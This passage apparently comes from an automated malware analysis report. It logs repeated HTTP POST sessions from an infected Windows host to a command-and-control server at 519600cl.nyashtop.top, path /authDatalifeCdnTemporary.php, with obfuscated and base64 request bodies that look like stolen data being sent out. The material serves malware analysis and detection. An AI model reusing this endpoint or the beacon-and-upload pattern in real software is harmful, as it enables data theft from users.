                                                                  Content-Length: 310006
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:15.355073929 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:15.355336905 CET14832OUTData Raw: 2d 2d 2d 2d 2d 2d 6c 72 36 59 75 58 66 50 44 78 61 53 45 52 5a 44 78 4a 76 58 62 34 64 71 44 6e 4c 33 52 74 44 6b 64 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------lr6YuXfPDxaSERZDxJvXb4dqDnL3RtDkdJContent-Disposition: form-data; name="0"Content-Type: text/plain_^^RTDTPZ]VVRQPRP^UYWTZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:12:15.360268116 CET2472OUTData Raw: 4d 46 4e 61 64 46 6b 34 62 6c 52 79 55 31 64 36 59 57 5a 54 4f 58 4e 76 54 57 4a 34 63 33 5a 74 55 31 6c 44 62 45 68 35 55 58 6f 31 65 6e 56 50 4e 30 64 4e 61 57 77 77 64 6c 64 54 4d 32 68 6c 55 46 52 79 54 31 4e 34 64 44 68 4d 59 30 78 6b 55 56
                                                                  Data Ascii: MFNadFk4blRyU1d6YWZTOXNvTWJ4c3ZtU1lDbEh5UXo1enVPN0dNaWwwdldTM2hlUFRyT1N4dDhMY0xkUVhJdWxrbVpwR1paRTJIeW1PMHFBWkFDcFgweFZ3d3hNY21OQ2ZkUlI1VWVjK1duL2ZJcW5sVVhKUG0ySS90dWZLMXlMVzM0RlcydlliUzJ0WVpyNnlnOG5VM3VMaUthemFXV1NFeHhyaUZ4R2ZMYzdXR1E2RWNISXJ
                                                                  Jan 13, 2025 13:12:15.360291958 CET2472OUTData Raw: 53 57 39 51 63 30 74 51 53 32 70 36 62 6e 6b 77 65 69 39 31 61 58 4e 59 61 7a 68 49 52 7a 4e 4f 4c 31 5a 79 5a 6d 74 69 65 48 6f 79 62 33 41 34 4e 6d 6f 76 56 6a 63 76 62 56 56 4b 54 48 55 79 5a 79 74 35 62 54 64 31 62 7a 6c 57 64 6b 68 4e 4d 58
                                                                  Data Ascii: SW9Qc0tQS2p6bnkwei91aXNYazhIRzNOL1ZyZmtieHoyb3A4NmovVjcvbVVKTHUyZyt5bTd1bzlWdkhNMXZjMzlsQTZTL1puaE1lWkM2cDVrZ0xaQk9lQVFXNUdDdy9zelJOUzA1MTFTd21DUjNFZm5yYlRNcWJvWFZTNnRIa2dzeThCV0hYUHZvQ05GNklvejF3S2I1RVgvUEpQKytSVkxLMGxKS1c2dDhpSG5MbEtMY050VnV
                                                                  Jan 13, 2025 13:12:15.360378027 CET2472OUTData Raw: 55 48 6f 76 64 30 4e 50 54 43 39 6f 55 69 39 69 5a 57 38 76 64 30 52 51 65 69 38 30 4e 48 59 72 52 6c 51 76 63 6b 35 6f 55 44 56 61 5a 6d 4e 32 4f 45 46 4e 4d 43 38 30 61 44 6c 74 5a 69 39 51 65 55 67 7a 65 53 38 72 55 6b 39 33 62 33 4a 72 52 54
                                                                  Data Ascii: UHovd0NPTC9oUi9iZW8vd0RQei80NHYrRlQvck5oUDVaZmN2OEFNMC80aDltZi9QeUgzeS8rUk93b3JrRTF5L1Z3VE1IQS9oS2pCL0t1bHNMeGI2MldWUmc5R1gwTmQrQnpmRDQyVGhUdW11ai9BS1o0K2NjTTQ3S1lLclhzNHZTOFczWitkMG1XcUtLSzlNK2VDZzBVVUFGSGV0WnZEV3JveFZyTWhoMk1pLzQwRHd6cTU2V24
                                                                  Jan 13, 2025 13:12:15.360397100 CET4944OUTData Raw: 59 6b 74 6b 55 6c 6c 48 55 48 70 73 61 6e 64 32 62 48 42 36 61 79 39 6f 65 44 63 78 4e 47 6c 72 4e 7a 4a 61 4f 55 4a 53 65 47 52 53 4d 55 39 54 62 32 78 30 4d 48 56 6b 55 6b 78 68 54 6b 78 77 4d 58 70 77 64 44 56 76 4f 54 46 6a 65 46 42 51 54 6b
                                                                  Data Ascii: YktkUllHUHpsand2bHB6ay9oeDcxNGlrNzJaOUJSeGRSMU9Tb2x0MHVkUkxhTkxwMXpwdDVvOTFjeFBQTklIamVMR0drWmxJM09DQ0F3N1Y1aHErbFhHa1g1dHJpTjQ5dzN4N3l1NG9TUUNkcElCNFBldldQN1IxcnlvbS9zRDUyVWwwKzJKOGgzRVl6am5nQS9qanRYRWZFZjhBNUdLRC9yMFgvd0JEZXZXeW1yS09KVVU5SGU
                                                                  Jan 13, 2025 13:12:15.360461950 CET3708OUTData Raw: 53 56 42 51 57 54 46 44 61 44 68 34 62 32 78 53 53 46 70 77 62 44 4e 53 51 55 6c 6a 64 55 39 6c 56 6a 6c 53 64 32 56 75 62 32 45 30 63 31 42 6f 63 30 35 6f 4e 6e 4d 32 62 45 74 35 4e 58 4a 59 57 46 52 54 4c 79 74 61 4d 6c 6c 70 64 6d 6c 78 4f 55
                                                                  Data Ascii: SVBQWTFDaDh4b2xSSFpwbDNSQUljdU9lVjlSd2Vub2E0c1Boc05oNnM2bEt5NXJYWFRTLytaMllpdmlxOU9GT3FtK1c5blozMXQva0ZGT2lqbHVMYVc1Z2dubHQ0cytaTEhFekltQms1SUdCeDYweHNvenF5T3JJcFpsS0hLZ0RKSkdNZ1k1K2xkbnRJWHRkSEo3S3BaUGxldmtMUlVsemIzTm41ZjJ1MXVMWVNjSVo0V2pEZlR
                                                                  Jan 13, 2025 13:12:15.360474110 CET1236OUTData Raw: 56 46 70 74 56 47 56 5a 5a 31 64 34 61 6b 35 68 64 6b 78 78 61 6d 6c 76 4d 7a 4a 6d 4f 45 46 54 54 56 6c 61 64 6c 4e 71 56 57 4d 72 57 47 39 30 55 46 52 61 62 31 68 58 53 6c 42 4f 4f 46 52 68 64 6e 42 58 62 58 5a 6d 57 45 35 34 5a 57 46 35 61 6e
                                                                  Data Ascii: VFptVGVZZ1d4ak5hdkxxamlvMzJmOEFTTVladlNqVWMrWG90UFRab1hXSlBOOFRhdnBXbXZmWE54ZWF5anlpZUpZNDRXWGNvV1A1enUzRitXTzNoUng2VzFFclJlWjVEN1BLYWJPVis0citXeDY5bTQvK3RWWk5PdDQ3ZG9FVWlOamtnR29FME95amNPcXZrZFBtclhEWVNyaG9LTUduM3Y4QWNjMkx4dERGejVxa1dyYlcrL1U
                                                                  Jan 13, 2025 13:12:15.360501051 CET4944OUTData Raw: 5a 30 52 72 56 6b 56 31 61 7a 4a 54 52 57 74 52 61 6b 70 48 53 32 56 4a 65 54 4a 57 56 33 4d 31 63 56 5a 72 4e 32 59 78 4f 44 64 4d 4e 32 6c 4e 53 6d 30 34 53 30 5a 43 56 54 4e 48 4e 31 59 76 4b 30 49 35 4d 54 4a 61 4d 6d 39 58 54 33 46 68 57 44
                                                                  Data Ascii: Z0RrVkV1azJTRWtRakpHS2VJeTJWV3M1cVZrN2YxODdMN2lNSm04S0ZCVTNHN1YvK0I5MTJaMm9XT3FhWDRjMU8yMUtDNHRacnJVWWhickl1REtxTEtYWmY3eWpjdnpESTVITlM2a2wvYnBxbDl0bVMyYnc5WTIwTTdyaU5wejluSVFFOEZzQWtqMHlUeFZxSFNMT0I5NlI4KzlNYlFyQm5MR0xrOWVheGVVMUhHM05yL3dMSFJ
                                                                  Jan 13, 2025 13:12:16.489387989 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:16 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:12:16.771990061 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:16 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  83192.168.2.45009137.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:13.807452917 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:14.157871962 CET2580OUTData Raw: 5a 55 5e 55 54 45 54 57 5a 5d 56 56 52 50 50 5b 50 5f 55 54 57 57 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZU^UTETWZ]VVRPP[P_UTWWZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#/ %_5>\23'B=:/_'>'.,T()802*Y)*<37<>'F!.\*
                                                                  Jan 13, 2025 13:12:14.444825888 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:14.575591087 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:14 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  84192.168.2.45009237.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:14.755714893 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:15.111100912 CET2580OUTData Raw: 5a 5a 5b 50 54 47 54 5d 5a 5d 56 56 52 51 50 59 50 58 55 54 57 55 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZZ[PTGT]Z]VVRQPYPXUTWUZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#83:"2*\&$>*0$*T$.4R) P0X(*303(>'F!.\*
                                                                  Jan 13, 2025 13:12:15.142230034 CET1236OUTData Raw: 39 0c 3b 0e 31 28 52 12 33 5e 5c 15 16 5e 3e 21 05 2f 39 00 09 38 03 40 35 3f 13 2d 14 3b 5f 2d 3c 3c 08 0e 36 55 2e 51 3f 31 20 22 22 2e 01 27 3d 59 0c 2e 3e 2e 00 50 33 05 3a 1e 27 01 45 5d 3a 3e 3d 26 09 33 27 16 31 0c 26 5c 0d 07 23 13 32 31
                                                                  Data Ascii: 9;1(R3^\^>!/98@5?-;_-<<6U.Q?1 "".'=Y.>.P3:'E]:>=&3'1&\#21%;U#&:6821+"0TV>%\3;+9\_8:4,"("5&?1 /<%.<'1^\<W88P:0\$5*%'6&<!,^21081>,?0#?08/]>+3<5),.
                                                                  Jan 13, 2025 13:12:15.396003962 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:15.527421951 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:15 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  85192.168.2.45009337.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:15.699353933 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:16.048501015 CET2580OUTData Raw: 5a 5f 5e 51 54 45 54 51 5a 5d 56 56 52 59 50 5b 50 50 55 5e 57 55 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z_^QTETQZ]VVRYP[PPU^WUZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,!2._208='%8&'S=: '2"Z?_$X3"$+'F!.\*%
                                                                  Jan 13, 2025 13:12:16.326685905 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:16.453531981 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:16 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  86192.168.2.45009437.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:16.772872925 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:17.126733065 CET2580OUTData Raw: 5a 5c 5e 51 51 45 51 50 5a 5d 56 56 52 50 50 5c 50 50 55 59 57 57 5a 5c 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\^QQEQPZ]VVRPP\PPUYWWZ\T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#/="26&'=:<0(S$>#**'>[?X&"$('F!.\*
                                                                  Jan 13, 2025 13:12:17.422555923 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:17.553797960 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:17 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  87192.168.2.45009537.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:17.678920031 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:18.032939911 CET2580OUTData Raw: 5f 5d 5b 56 51 42 54 57 5a 5d 56 56 52 51 50 5d 50 5e 55 58 57 5e 5a 57 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _][VQBTWZ]VVRQP]P^UXW^ZWT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#,U"!!:^%#@>:/^08'.,W>#&29?<_&1;<>'F!.\*
                                                                  Jan 13, 2025 13:12:18.324385881 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:18.460630894 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:18 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  88192.168.2.45009637.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:18.590886116 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:18.939155102 CET2580OUTData Raw: 5f 5a 5b 53 54 44 54 53 5a 5d 56 56 52 59 50 5d 50 51 55 54 57 56 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[STDTSZ]VVRYP]PQUTWVZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ /-!6\&#*4'=3 U**0Q'1>+:/0\+>'F!.\*%
                                                                  Jan 13, 2025 13:12:19.224262953 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:19.354470968 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:19 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  89192.168.2.45009737.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:19.489909887 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:19.845469952 CET2580OUTData Raw: 5a 5c 5e 54 54 42 51 50 5a 5d 56 56 52 5f 50 5a 50 51 55 5e 57 54 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\^TTBQPZ]VVR_PZPQU^WTZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#/%6T"& ;>: $.V';=,3"&X):3&2'<.'F!.\*
                                                                  Jan 13, 2025 13:12:20.282627106 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:20.294898987 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:20 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  90192.168.2.45009837.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:20.283617020 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2000
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:20.642401934 CET2000OUTData Raw: 5a 58 5b 55 54 43 51 53 5a 5d 56 56 52 59 50 58 50 5e 55 55 57 5f 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZX[UTCQSZ]VVRYPXP^UUW_ZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#Z;3Z5*_17*,3W'<R*9'$=?_#3;)>'F!.\*%
                                                                  Jan 13, 2025 13:12:20.931935072 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:21.069370985 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:20 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1f 3e 25 29 0c 27 29 30 11 38 3f 36 5a 2d 12 24 04 29 1c 23 04 3d 3a 14 05 2c 3e 37 01 3e 38 3f 02 3f 0f 28 51 24 50 38 1c 29 29 2b 51 07 11 39 1b 25 3e 3d 01 2b 33 2a 13 27 32 07 19 22 0a 37 04 29 3a 2e 19 24 28 3c 53 3c 16 07 13 3d 33 2a 1e 26 07 21 46 28 2f 36 13 3c 17 2f 5e 08 12 25 15 3e 31 3e 0e 24 30 15 12 35 01 28 19 29 3c 21 52 35 11 22 50 3d 3a 3a 04 24 10 14 03 24 07 26 1e 32 0b 2b 0e 26 54 2a 01 30 03 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !>%)')08?6Z-$)#=:,>7>8??(Q$P8))+Q9%>=+3*'2"7):.$(<S<=3*&!F(/6</^%>1>$05()<!R5"P=::$$&2+&T*0$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  91192.168.2.45009937.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:20.429035902 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:12:20.782918930 CET2580OUTData Raw: 5a 5e 5e 53 51 47 54 56 5a 5d 56 56 52 5c 50 59 50 5d 55 54 57 55 5a 5e 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^^SQGTVZ]VVR\PYP]UTWUZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 8%] 1*$ 4+)+Y0"W3>/*<S0<*,[04_?'F!.\*1
                                                                  Jan 13, 2025 13:12:21.058223963 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:21.185717106 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:20 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  92192.168.2.45010037.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:21.318718910 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:12:21.673844099 CET2580OUTData Raw: 5a 5a 5b 50 54 43 51 54 5a 5d 56 56 52 51 50 5f 50 50 55 5b 57 57 5a 57 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZZ[PTCQTZ]VVRQP_PPU[WWZWT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ , 1)%0$)9+\3S'.)\,R$T"_(;'+('F!.\*
                                                                  Jan 13, 2025 13:12:21.952697992 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:12:22.082308054 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:12:21 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination Port
                                                                  93192.168.2.45010137.44.238.25080
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:12:22.252480030 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
